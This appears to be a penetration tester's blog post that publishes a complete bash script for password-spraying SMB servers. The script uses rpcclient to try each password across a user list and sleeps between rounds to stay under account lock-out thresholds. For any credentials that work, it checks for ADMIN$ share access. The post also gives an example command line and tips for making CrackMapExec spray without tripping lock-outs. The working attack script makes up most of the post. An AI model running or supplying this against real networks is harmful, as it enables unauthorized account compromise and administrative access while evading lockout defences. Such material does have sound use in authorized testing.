I’ve been wanting an efficient way to credential spray SMB servers. I typically use byt3bl33d3r’s CrackMapExec when poking SMB servers but wanted a way to rotate single users over multiple passwords and then force the process to sleep for a while (for the sake of account lock-out). CrackMapExec doesn’t have these features (just yet). Additionally, the script tests successful credentials for access to the ADMIN$ share.
So I sat down today and started looking at some of the command-line tools at my disposal for checking SMB server access. it seemed pretty clear to me that the tool of choice for this endeavor was rpcclient.
Having realized this, and how to make this tool interact with servers using SMB3, I worked out the script found below. It takes four pieces of input: (1) a host to attack, (2) list of users, (3) list of passwords, and (4) a number of seconds to sleep between attacks.
Call the script in the following manner.
./smb_credspray.sh 192.168.0.209 /tmp/users.txt /tmp/passwords.txt 2730
One major caveat to point out is the need to set the client connection option to use a max protocol of SMB3. This can be done by editing the attacking host’s /etc/samba/smb.conf file or by supplying the rpcclient utility the appropriate option setting. Without this setting you won’t be able to talk to servers utilizing SMB version 3.
You can also find this in my Gists at github at https://gist.github.com/ryan-wendel/13537ae8858521d02a3ef5f4588da108.
#!/bin/bash HOST="$1" USERS="$2" PASSWORDS="$3" SLEEP="$4" TMP_FILE="/tmp/tmp_smb.$$.tmp" RPCCLIENT=$(which rpcclient) NMBLOOKUP=$(which nmblookup) OPTIONS="client max protocol=SMB3" # 45.5 minutes = 2730 seconds print_help() { echo "Usage: $(basename $0) <Host/IP address> <Users file> <Passwords file> <Sleep seconds>" } if [ -z "$HOST" ]; then echo "Error: Provide me with a host or IP address" print_help exit 1 fi if [ -z "$USERS" ]; then echo "Error: Provide me with a users file" print_help exit 2 elif [ ! -f "$USERS" ]; then echo "Error: Users file doesn't exist" print_help exit 3 fi if [ -z "$PASSWORDS" ]; then echo "Error: Provide me with a password file" print_help exit 4 elif [ ! -f "$PASSWORDS" ]; then echo "Error: Passwords file doesn't exist" print_help exit 5 fi if [ -z "$SLEEP" ]; then echo "Error: Provide me with a number of seconds to sleep" print_help exit 6 elif [[ ! "$SLEEP" =~ ^[0-9]+$ ]]; then echo "Error: Provide me with an integer" print_help exit 7 fi DOMAIN="$($NMBLOOKUP -A $HOST | grep GROUP | head -1 | awk '{print $1}')" LINES=$(wc -l $PASSWORDS | awk '{print $1}') ITR="0" while read PASS; do ITR="$((ITR + 1))" while read USER; do $RPCCLIENT --options="$OPTIONS" -U "${DOMAIN}\\${USER}%${PASS}" "$HOST" -c "getusername; quit" > $TMP_FILE if [[ $? -gt 0 ]]; then echo -en "\e[31m[-]\e[0m " echo "ERROR: $(cat $TMP_FILE)" echo -en "\e[31m[-]\e[0m " echo "${DOMAIN}\\${USER}:${PASS} - LOGON FAILED" else echo -en "\e[32m[+]\e[0m " echo "${DOMAIN}\\${USER}:${PASS} - LOGON SUCCESS" $RPCCLIENT --options="$OPTIONS" -U "${DOMAIN}\\${USER}%${PASS}" "$HOST" -c "netsharegetinfo 'ADMIN\$'; quit" > $TMP_FILE TEST=$(grep -c netname $TMP_FILE) if [[ $TEST -gt 0 ]]; then echo -en "\e[95m[+]\e[0m " echo -n "${DOMAIN}\\${USER}:${PASS} - " echo -e "\e[95mADMIN\$ access SUCCESS!\e[0m" fi fi done < <(cat "$USERS") if [[ $ITR -lt $LINES ]]; then echo -e "\e[33m[+]\e[0m Sleeping ${SLEEP} seconds." sleep ${SLEEP} fi done < <(cat "$PASSWORDS") rm -f $TMP_FILE
The script produces output that looks something like the following.
I’ll be looking to create the same type of features for CrackMapExec here in the next few days. I really like the tool and would love to see these features built into it.
Short-term fix for using CrackMapExec in this manner.
Default behavior for cme is to loop passwords over each user. This is rather undesirable as it will cause account lock-outs. Also note that cme stops on first successful login.